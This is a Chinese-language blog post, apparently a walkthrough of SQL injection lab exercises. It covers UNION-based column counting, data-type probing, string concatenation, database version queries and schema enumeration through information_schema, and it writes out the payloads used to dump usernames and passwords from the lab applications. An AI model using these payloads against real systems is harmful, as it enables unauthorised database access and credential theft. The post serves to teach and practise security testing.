昨天介紹了 SQL 大致的攻擊類型,今天會有更多的方法包更多的 UNION 攻擊還有SQL 注入攻擊中如何檢查資料庫:
NULL 可以轉換成每一種常用的資料型態,所以如果數量正確,payload 就可以成功。
Oracle
中,每個 SELECT
都必須使用 From
關鍵字並指定一個表(Oracle
有內痔一個叫 dual
)
所以在 Oracle
中查詢應該長這樣:
' UNION SELECT NULL FROM DUAL--
在SQL中我們都使用--
註釋調後面的東西,要注意的是在 MySQL
中 --
後面要有一個空格 --
,或你也可以用 #
來註釋。
我們在上一篇有提到,要成功達成 UNION 攻擊需要有兩個條件達成:
那我們要怎麼確認欄位型態呢?
假設有四個列數,如果該欄位無法轉換成 int 會噴錯,如果沒有噴錯表示該欄位為字串 (String)
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
錯誤可能會長這樣:
Conversion failed when converting the varchar value 'a' to data type int.
沒有噴錯,那就代表你猜對了~
那一行就是字串(你想測試的資料型態)
先隨便打開一個類別
確認欄位數量
'+UNION+SELECT+NULL--
'+UNION+SELECT+NULL,NULL--
'+UNION+SELECT+NULL,NULL,NULL--
'+UNION+SELECT+NULL,NULL,NULL,NULL--
發現欄位應該是 3 欄
eSDhgQ
,我們就一一測試'+UNION+SELECT+'eSDhgQ',NULL,NULL--
'+UNION+SELECT+NULL,'eSDhgQ',NULL--
'+UNION+SELECT+NULL,'eSDhgQ',NULL--
成功!
當我們知道回傳的列數還有哪些列可以保存字串,就可以搜尋一些想知道的資料了~
使用這個範例必須符合以下條件:
WHERE
子句中的一個帶引號的字串users
的表,那兩個列是username
和password
。那我們就可以這樣攻擊
' UNION SELECT username, password FROM users--
但這種攻擊方法最關鍵的就是你要提前知道有叫
users
然後有兩列叫username
跟password
。但其實現在的資料庫都提供了檢查資料庫結構的方法,以確定它包含哪些表和列。:)
題目說他有 username
跟 password
在 users
表裡面,話不多說,直接上注入
'+UNION+SELECT+username,+password+FROM+users--
然後我們要找到 administrator
的密碼
找到了~j1tj674iqcjr4c6t5i8j
登入後成功~
通過將多個值連接在一起,可以很容易地在單個列中檢索多個值,理想情況下可以包含適當的分隔符來區分組合的值。 例如,在 Oracle
上你可以提交輸入:
' UNION SELECT username || '~' || password FROM users--
使用||
串接資料,注入的查詢將 username
和 password
欄位的值連接在一起,以~
字元分隔。
會這樣顯示:
...
administrator~s3cure
wiener~peter
carlos~montoya
...
在其他軟體有不同的串接方法:
資料庫軟體 | 串接方法 |
---|---|
Oracle | 'a' || 'b' |
Microsoft | 'a' + 'b' |
PostgreSQL | 'a' || 'b' |
MySQL | 'a' 'b' (a,b中間有空格), CONCAT('a','b') |
題目都告訴你了,那就直接上語句八~
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
好像有我們要的東西ㄟ
登入看看吧
成功~
要利用 SQL 注入漏洞,通常需要查找資料庫的資訊:
各軟體查找版本的方法:
資料庫版本 | 方法 |
---|---|
Oracle | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
Microsoft | SELECT @@version |
MySQL | SELECT @@version |
舉例來說,如果要找 Microsoft
的版本我們可以用 UNION
像這樣:
' UNION SELECT @@version--
那 Microsoft SQL Server
就有可能回傳這東西:
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)
這個題目是MySQL
跟 Microsoft
的
我們知道這兩個是這樣找版本的:
SELECT @@version
那就可以這樣嘗試,
' UNION SELECT @@version#
阿錯了,我猜應該是欄位數不對
'+UNION+SELECT+@@version,+NULL#
之後怎麼試都不行><
大多數資料庫類型(Oracle
除外)都有一組稱為資訊架構的檢視。提供有關資料庫的資訊。
例如 information_schema.tables
可以查詢以列出資料庫中的表:
SELECT * FROM information_schema.tables
他會給你這樣的東東:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
由上表得知,一共有三個表 Products
,Users
跟 Feedback
接著,我們就可以利用 information_schema.columns
繼續查表裡面有甚麼欄位:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
可能會有這樣的輸出:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar
先測試有幾列
'+UNION+SELECT+NULL--
'+UNION+SELECT+NULL,NULL--
應該是兩個,在嘗試這兩個能不能輸入字串
'+UNION+SELECT+'abc','def'--
都可以,那我們就來查找表
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
看來表有很多,我們找最有可能藏厲害東西的表
厲害東西我想應該藏在 users_dhhszh
,所以我們來查查
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_dhhszh'--
有我們要的東西了
username_gcdkjw
password_uwoyav
'+UNION+SELECT+username_gcdkjw,+password_uwoyav+FROM+users_dhhszh--
找到了~
成功!
https://ithelp.ithome.com.tw/articles/10240102
https://www.modb.pro/db/86324